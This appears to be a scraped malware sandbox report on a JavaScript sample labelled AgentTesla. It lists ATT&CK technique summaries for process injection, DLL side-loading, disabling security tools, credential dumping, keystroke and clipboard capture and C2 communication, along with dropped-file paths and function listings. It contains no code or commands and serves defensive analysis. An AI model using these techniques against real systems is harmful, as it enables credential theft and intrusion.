Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ORDER-7019-2024.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\don701[1].exe

C:\Users\user\AppData\Local\Temp\MUGKZA.exe

Static File Info

General

File Icon

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

Windows Analysis Report
ORDER-7019-2024.js

Function 00FE4AE8 Relevance: 22.3, APIs: 1, Strings: 10, Instructions: 3086
libraryCOMMON

Function 00FE4A6A Relevance: 22.1, APIs: 1, Strings: 10, Instructions: 2852
libraryCOMMON

Function 00FE4AD8 Relevance: 22.0, APIs: 1, Strings: 10, Instructions: 2776
libraryCOMMON

Function 00FE0860 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 430
memoryCOMMON

Function 00FE89F0 Relevance: 1.8, Strings: 1, Instructions: 540
COMMON

Function 00FEEC7D Relevance: 1.8, APIs: 1, Instructions: 274
processCOMMON

Function 00FEEC88 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Function 00FED5F0 Relevance: 1.6, APIs: 1, Instructions: 124
COMMON

Function 00FEE9F8 Relevance: 1.6, APIs: 1, Instructions: 72
injectionCOMMON

Function 00FEEA00 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Function 00FEE860 Relevance: 1.6, APIs: 1, Instructions: 66
threadCOMMON

Function 00FEE868 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Function 00FEEAF0 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Function 00FEEAE9 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Function 00FED528 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre